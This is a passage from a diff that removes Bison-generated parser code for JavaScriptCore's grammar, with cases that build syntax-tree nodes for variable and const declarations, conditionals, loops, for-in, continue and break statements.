-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
-    break;
-
-  case 221:
-
-/* Line 1455 of yacc.c  */
-#line 831 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(makeVarStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].varDeclList).m_node), (yyvsp[(2) - (3)].varDeclList).m_varDeclarations, (yyvsp[(2) - (3)].varDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].varDeclList).m_features, (yyvsp[(2) - (3)].varDeclList).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)]));
-                                          AUTO_SEMICOLON; ;}
-    break;
-
-  case 222:
-
-/* Line 1455 of yacc.c  */
-#line 837 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.varDeclList).m_node = 0;
-                                          (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(1) - (1)].ident), 0);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0;
-                                          (yyval.varDeclList).m_numConstants = 0;
-                                        ;}
-    break;
-
-  case 223:
-
-/* Line 1455 of yacc.c  */
-#line 844 "../../JavaScriptCore/parser/Grammar.y"
-    { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node, (yyvsp[(2) - (2)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column);
-                                          (yyval.varDeclList).m_node = node;
-                                          (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(1) - (2)].ident), DeclarationStacks::HasInitializer);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = ((*(yyvsp[(1) - (2)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(2) - (2)].expressionNode).m_features;
-                                          (yyval.varDeclList).m_numConstants = (yyvsp[(2) - (2)].expressionNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 224:
-
-/* Line 1455 of yacc.c  */
-#line 854 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.varDeclList).m_node = (yyvsp[(1) - (3)].varDeclList).m_node;
-                                          (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (3)].varDeclList).m_varDeclarations;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(3) - (3)].ident), 0);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = (yyvsp[(1) - (3)].varDeclList).m_features | ((*(yyvsp[(3) - (3)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0);
-                                          (yyval.varDeclList).m_numConstants = (yyvsp[(1) - (3)].varDeclList).m_numConstants;
-                                        ;}
-    break;
-
-  case 225:
-
-/* Line 1455 of yacc.c  */
-#line 862 "../../JavaScriptCore/parser/Grammar.y"
-    { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(3) - (4)].ident), (yyvsp[(4) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(3) - (4)]).first_column, (yylsp[(4) - (4)]).first_column + 1, (yylsp[(4) - (4)]).last_column);
-                                          (yyval.varDeclList).m_node = combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (4)].varDeclList).m_node, node);
-                                          (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (4)].varDeclList).m_varDeclarations;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(3) - (4)].ident), DeclarationStacks::HasInitializer);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = (yyvsp[(1) - (4)].varDeclList).m_features | ((*(yyvsp[(3) - (4)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(4) - (4)].expressionNode).m_features;
-                                          (yyval.varDeclList).m_numConstants = (yyvsp[(1) - (4)].varDeclList).m_numConstants + (yyvsp[(4) - (4)].expressionNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 226:
-
-/* Line 1455 of yacc.c  */
-#line 874 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.varDeclList).m_node = 0;
-                                          (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(1) - (1)].ident), 0);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0;
-                                          (yyval.varDeclList).m_numConstants = 0;
-                                        ;}
-    break;
-
-  case 227:
-
-/* Line 1455 of yacc.c  */
-#line 881 "../../JavaScriptCore/parser/Grammar.y"
-    { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node, (yyvsp[(2) - (2)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column);
-                                          (yyval.varDeclList).m_node = node;
-                                          (yyval.varDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(1) - (2)].ident), DeclarationStacks::HasInitializer);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = ((*(yyvsp[(1) - (2)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(2) - (2)].expressionNode).m_features;
-                                          (yyval.varDeclList).m_numConstants = (yyvsp[(2) - (2)].expressionNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 228:
-
-/* Line 1455 of yacc.c  */
-#line 891 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.varDeclList).m_node = (yyvsp[(1) - (3)].varDeclList).m_node;
-                                          (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (3)].varDeclList).m_varDeclarations;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(3) - (3)].ident), 0);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = (yyvsp[(1) - (3)].varDeclList).m_features | ((*(yyvsp[(3) - (3)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0);
-                                          (yyval.varDeclList).m_numConstants = (yyvsp[(1) - (3)].varDeclList).m_numConstants;
-                                        ;}
-    break;
-
-  case 229:
-
-/* Line 1455 of yacc.c  */
-#line 899 "../../JavaScriptCore/parser/Grammar.y"
-    { AssignResolveNode* node = new (GLOBAL_DATA) AssignResolveNode(GLOBAL_DATA, *(yyvsp[(3) - (4)].ident), (yyvsp[(4) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(3) - (4)]).first_column, (yylsp[(4) - (4)]).first_column + 1, (yylsp[(4) - (4)]).last_column);
-                                          (yyval.varDeclList).m_node = combineCommaNodes(GLOBAL_DATA, (yyvsp[(1) - (4)].varDeclList).m_node, node);
-                                          (yyval.varDeclList).m_varDeclarations = (yyvsp[(1) - (4)].varDeclList).m_varDeclarations;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.varDeclList).m_varDeclarations, *(yyvsp[(3) - (4)].ident), DeclarationStacks::HasInitializer);
-                                          (yyval.varDeclList).m_funcDeclarations = 0;
-                                          (yyval.varDeclList).m_features = (yyvsp[(1) - (4)].varDeclList).m_features | ((*(yyvsp[(3) - (4)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(4) - (4)].expressionNode).m_features;
-                                          (yyval.varDeclList).m_numConstants = (yyvsp[(1) - (4)].varDeclList).m_numConstants + (yyvsp[(4) - (4)].expressionNode).m_numConstants;
-                                        ;}
-    break;
-
-  case 230:
-
-/* Line 1455 of yacc.c  */
-#line 911 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ConstStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].constDeclList).m_node.head), (yyvsp[(2) - (3)].constDeclList).m_varDeclarations, (yyvsp[(2) - (3)].constDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].constDeclList).m_features, (yyvsp[(2) - (3)].constDeclList).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
-    break;
-
-  case 231:
-
-/* Line 1455 of yacc.c  */
-#line 914 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ConstStatementNode(GLOBAL_DATA, (yyvsp[(2) - (3)].constDeclList).m_node.head), (yyvsp[(2) - (3)].constDeclList).m_varDeclarations, (yyvsp[(2) - (3)].constDeclList).m_funcDeclarations, (yyvsp[(2) - (3)].constDeclList).m_features, (yyvsp[(2) - (3)].constDeclList).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 232:
-
-/* Line 1455 of yacc.c  */
-#line 919 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.constDeclList).m_node.head = (yyvsp[(1) - (1)].constDeclNode).m_node;
-                                          (yyval.constDeclList).m_node.tail = (yyval.constDeclList).m_node.head;
-                                          (yyval.constDeclList).m_varDeclarations = new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::VarStack>;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.constDeclList).m_varDeclarations, (yyvsp[(1) - (1)].constDeclNode).m_node);
-                                          (yyval.constDeclList).m_funcDeclarations = 0; 
-                                          (yyval.constDeclList).m_features = (yyvsp[(1) - (1)].constDeclNode).m_features;
-                                          (yyval.constDeclList).m_numConstants = (yyvsp[(1) - (1)].constDeclNode).m_numConstants;
-    ;}
-    break;
-
-  case 233:
-
-/* Line 1455 of yacc.c  */
-#line 928 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.constDeclList).m_node.head = (yyvsp[(1) - (3)].constDeclList).m_node.head;
-                                          (yyvsp[(1) - (3)].constDeclList).m_node.tail->m_next = (yyvsp[(3) - (3)].constDeclNode).m_node;
-                                          (yyval.constDeclList).m_node.tail = (yyvsp[(3) - (3)].constDeclNode).m_node;
-                                          (yyval.constDeclList).m_varDeclarations = (yyvsp[(1) - (3)].constDeclList).m_varDeclarations;
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyval.constDeclList).m_varDeclarations, (yyvsp[(3) - (3)].constDeclNode).m_node);
-                                          (yyval.constDeclList).m_funcDeclarations = 0;
-                                          (yyval.constDeclList).m_features = (yyvsp[(1) - (3)].constDeclList).m_features | (yyvsp[(3) - (3)].constDeclNode).m_features;
-                                          (yyval.constDeclList).m_numConstants = (yyvsp[(1) - (3)].constDeclList).m_numConstants + (yyvsp[(3) - (3)].constDeclNode).m_numConstants; ;}
-    break;
-
-  case 234:
-
-/* Line 1455 of yacc.c  */
-#line 939 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.constDeclNode) = createNodeInfo<ConstDeclNode*>(new (GLOBAL_DATA) ConstDeclNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident), 0), (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0, 0); ;}
-    break;
-
-  case 235:
-
-/* Line 1455 of yacc.c  */
-#line 940 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.constDeclNode) = createNodeInfo<ConstDeclNode*>(new (GLOBAL_DATA) ConstDeclNode(GLOBAL_DATA, *(yyvsp[(1) - (2)].ident), (yyvsp[(2) - (2)].expressionNode).m_node), ((*(yyvsp[(1) - (2)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 236:
-
-/* Line 1455 of yacc.c  */
-#line 944 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = (yyvsp[(2) - (2)].expressionNode); ;}
-    break;
-
-  case 237:
-
-/* Line 1455 of yacc.c  */
-#line 948 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = (yyvsp[(2) - (2)].expressionNode); ;}
-    break;
-
-  case 238:
-
-/* Line 1455 of yacc.c  */
-#line 952 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) EmptyStatementNode(GLOBAL_DATA), 0, 0, 0, 0); ;}
-    break;
-
-  case 239:
-
-/* Line 1455 of yacc.c  */
-#line 956 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ExprStatementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node), 0, 0, (yyvsp[(1) - (2)].expressionNode).m_features, (yyvsp[(1) - (2)].expressionNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
-    break;
-
-  case 240:
-
-/* Line 1455 of yacc.c  */
-#line 958 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ExprStatementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node), 0, 0, (yyvsp[(1) - (2)].expressionNode).m_features, (yyvsp[(1) - (2)].expressionNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 241:
-
-/* Line 1455 of yacc.c  */
-#line 964 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) IfNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node), (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
-    break;
-
-  case 242:
-
-/* Line 1455 of yacc.c  */
-#line 967 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) IfElseNode(GLOBAL_DATA, (yyvsp[(3) - (7)].expressionNode).m_node, (yyvsp[(5) - (7)].statementNode).m_node, (yyvsp[(7) - (7)].statementNode).m_node), 
-                                                                                         mergeDeclarationLists((yyvsp[(5) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_varDeclarations),
-                                                                                         mergeDeclarationLists((yyvsp[(5) - (7)].statementNode).m_funcDeclarations, (yyvsp[(7) - (7)].statementNode).m_funcDeclarations),
-                                                                                         (yyvsp[(3) - (7)].expressionNode).m_features | (yyvsp[(5) - (7)].statementNode).m_features | (yyvsp[(7) - (7)].statementNode).m_features,
-                                                                                         (yyvsp[(3) - (7)].expressionNode).m_numConstants + (yyvsp[(5) - (7)].statementNode).m_numConstants + (yyvsp[(7) - (7)].statementNode).m_numConstants); 
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(4) - (7)])); ;}
-    break;
-
-  case 243:
-
-/* Line 1455 of yacc.c  */
-#line 976 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DoWhileNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node), (yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features, (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants);
-                                             setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(3) - (7)])); ;}
-    break;
-
-  case 244:
-
-/* Line 1455 of yacc.c  */
-#line 978 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DoWhileNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node), (yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(2) - (7)].statementNode).m_funcDeclarations, (yyvsp[(2) - (7)].statementNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features, (yyvsp[(2) - (7)].statementNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants);
-                                             setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(3) - (7)])); ;}
-    break;
-
-  case 245:
-
-/* Line 1455 of yacc.c  */
-#line 980 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) WhileNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node), (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (5)]), (yylsp[(4) - (5)])); ;}
-    break;
-
-  case 246:
-
-/* Line 1455 of yacc.c  */
-#line 983 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ForNode(GLOBAL_DATA, (yyvsp[(3) - (9)].expressionNode).m_node, (yyvsp[(5) - (9)].expressionNode).m_node, (yyvsp[(7) - (9)].expressionNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node, false), (yyvsp[(9) - (9)].statementNode).m_varDeclarations, (yyvsp[(9) - (9)].statementNode).m_funcDeclarations, 
-                                                                                         (yyvsp[(3) - (9)].expressionNode).m_features | (yyvsp[(5) - (9)].expressionNode).m_features | (yyvsp[(7) - (9)].expressionNode).m_features | (yyvsp[(9) - (9)].statementNode).m_features,
-                                                                                         (yyvsp[(3) - (9)].expressionNode).m_numConstants + (yyvsp[(5) - (9)].expressionNode).m_numConstants + (yyvsp[(7) - (9)].expressionNode).m_numConstants + (yyvsp[(9) - (9)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (9)]), (yylsp[(8) - (9)])); 
-                                        ;}
-    break;
-
-  case 247:
-
-/* Line 1455 of yacc.c  */
-#line 989 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ForNode(GLOBAL_DATA, (yyvsp[(4) - (10)].varDeclList).m_node, (yyvsp[(6) - (10)].expressionNode).m_node, (yyvsp[(8) - (10)].expressionNode).m_node, (yyvsp[(10) - (10)].statementNode).m_node, true),
-                                                                                         mergeDeclarationLists((yyvsp[(4) - (10)].varDeclList).m_varDeclarations, (yyvsp[(10) - (10)].statementNode).m_varDeclarations),
-                                                                                         mergeDeclarationLists((yyvsp[(4) - (10)].varDeclList).m_funcDeclarations, (yyvsp[(10) - (10)].statementNode).m_funcDeclarations),
-                                                                                         (yyvsp[(4) - (10)].varDeclList).m_features | (yyvsp[(6) - (10)].expressionNode).m_features | (yyvsp[(8) - (10)].expressionNode).m_features | (yyvsp[(10) - (10)].statementNode).m_features,
-                                                                                         (yyvsp[(4) - (10)].varDeclList).m_numConstants + (yyvsp[(6) - (10)].expressionNode).m_numConstants + (yyvsp[(8) - (10)].expressionNode).m_numConstants + (yyvsp[(10) - (10)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (10)]), (yylsp[(9) - (10)])); ;}
-    break;
-
-  case 248:
-
-/* Line 1455 of yacc.c  */
-#line 996 "../../JavaScriptCore/parser/Grammar.y"
-    {
-                                            ForInNode* node = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, (yyvsp[(3) - (7)].expressionNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node, (yyvsp[(7) - (7)].statementNode).m_node);
-                                            setExceptionLocation(node, (yylsp[(3) - (7)]).first_column, (yylsp[(3) - (7)]).last_column, (yylsp[(5) - (7)]).last_column);
-                                            (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, (yyvsp[(7) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_funcDeclarations,
-                                                                                           (yyvsp[(3) - (7)].expressionNode).m_features | (yyvsp[(5) - (7)].expressionNode).m_features | (yyvsp[(7) - (7)].statementNode).m_features,
-                                                                                           (yyvsp[(3) - (7)].expressionNode).m_numConstants + (yyvsp[(5) - (7)].expressionNode).m_numConstants + (yyvsp[(7) - (7)].statementNode).m_numConstants);
-                                            setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (7)]), (yylsp[(6) - (7)]));
-                                        ;}
-    break;
-
-  case 249:
-
-/* Line 1455 of yacc.c  */
-#line 1005 "../../JavaScriptCore/parser/Grammar.y"
-    { ForInNode *forIn = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, *(yyvsp[(4) - (8)].ident), 0, (yyvsp[(6) - (8)].expressionNode).m_node, (yyvsp[(8) - (8)].statementNode).m_node, (yylsp[(5) - (8)]).first_column, (yylsp[(5) - (8)]).first_column - (yylsp[(4) - (8)]).first_column, (yylsp[(6) - (8)]).last_column - (yylsp[(5) - (8)]).first_column);
-                                          setExceptionLocation(forIn, (yylsp[(4) - (8)]).first_column, (yylsp[(5) - (8)]).first_column + 1, (yylsp[(6) - (8)]).last_column);
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyvsp[(8) - (8)].statementNode).m_varDeclarations, *(yyvsp[(4) - (8)].ident), DeclarationStacks::HasInitializer);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(forIn, (yyvsp[(8) - (8)].statementNode).m_varDeclarations, (yyvsp[(8) - (8)].statementNode).m_funcDeclarations, ((*(yyvsp[(4) - (8)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(6) - (8)].expressionNode).m_features | (yyvsp[(8) - (8)].statementNode).m_features, (yyvsp[(6) - (8)].expressionNode).m_numConstants + (yyvsp[(8) - (8)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (8)]), (yylsp[(7) - (8)])); ;}
-    break;
-
-  case 250:
-
-/* Line 1455 of yacc.c  */
-#line 1011 "../../JavaScriptCore/parser/Grammar.y"
-    { ForInNode *forIn = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, *(yyvsp[(4) - (9)].ident), (yyvsp[(5) - (9)].expressionNode).m_node, (yyvsp[(7) - (9)].expressionNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node, (yylsp[(5) - (9)]).first_column, (yylsp[(5) - (9)]).first_column - (yylsp[(4) - (9)]).first_column, (yylsp[(5) - (9)]).last_column - (yylsp[(5) - (9)]).first_column);
-                                          setExceptionLocation(forIn, (yylsp[(4) - (9)]).first_column, (yylsp[(6) - (9)]).first_column + 1, (yylsp[(7) - (9)]).last_column);
-                                          appendToVarDeclarationList(GLOBAL_DATA, (yyvsp[(9) - (9)].statementNode).m_varDeclarations, *(yyvsp[(4) - (9)].ident), DeclarationStacks::HasInitializer);
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(forIn, (yyvsp[(9) - (9)].statementNode).m_varDeclarations, (yyvsp[(9) - (9)].statementNode).m_funcDeclarations,
-                                                                                         ((*(yyvsp[(4) - (9)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(5) - (9)].expressionNode).m_features | (yyvsp[(7) - (9)].expressionNode).m_features | (yyvsp[(9) - (9)].statementNode).m_features,
-                                                                                         (yyvsp[(5) - (9)].expressionNode).m_numConstants + (yyvsp[(7) - (9)].expressionNode).m_numConstants + (yyvsp[(9) - (9)].statementNode).m_numConstants);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (9)]), (yylsp[(8) - (9)])); ;}
-    break;
-
-  case 251:
-
-/* Line 1455 of yacc.c  */
-#line 1021 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(0, 0, 0); ;}
-    break;
-
-  case 253:
-
-/* Line 1455 of yacc.c  */
-#line 1026 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(0, 0, 0); ;}
-    break;
-
-  case 255:
-
-/* Line 1455 of yacc.c  */
-#line 1031 "../../JavaScriptCore/parser/Grammar.y"
-    { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
-    break;
-
-  case 256:
-
-/* Line 1455 of yacc.c  */
-#line 1035 "../../JavaScriptCore/parser/Grammar.y"
-    { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 257:
-
-/* Line 1455 of yacc.c  */
-#line 1039 "../../JavaScriptCore/parser/Grammar.y"
-    { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(3) - (3)])); ;}
-    break;
-
-  case 258:
-
-/* Line 1455 of yacc.c  */
-#line 1043 "../../JavaScriptCore/parser/Grammar.y"
-    { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
-                                          (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(node, 0, 0, 0, 0);
-                                          setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (3)]), (yylsp[(2) - (3)])); AUTO_SEMICOLON; ;}
-    break;
-
-  case 259:
-
-/* Line 1455 of yacc.c  */
-#line 1050 "../../JavaScriptCore/parser/Grammar.y"
-    { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column);
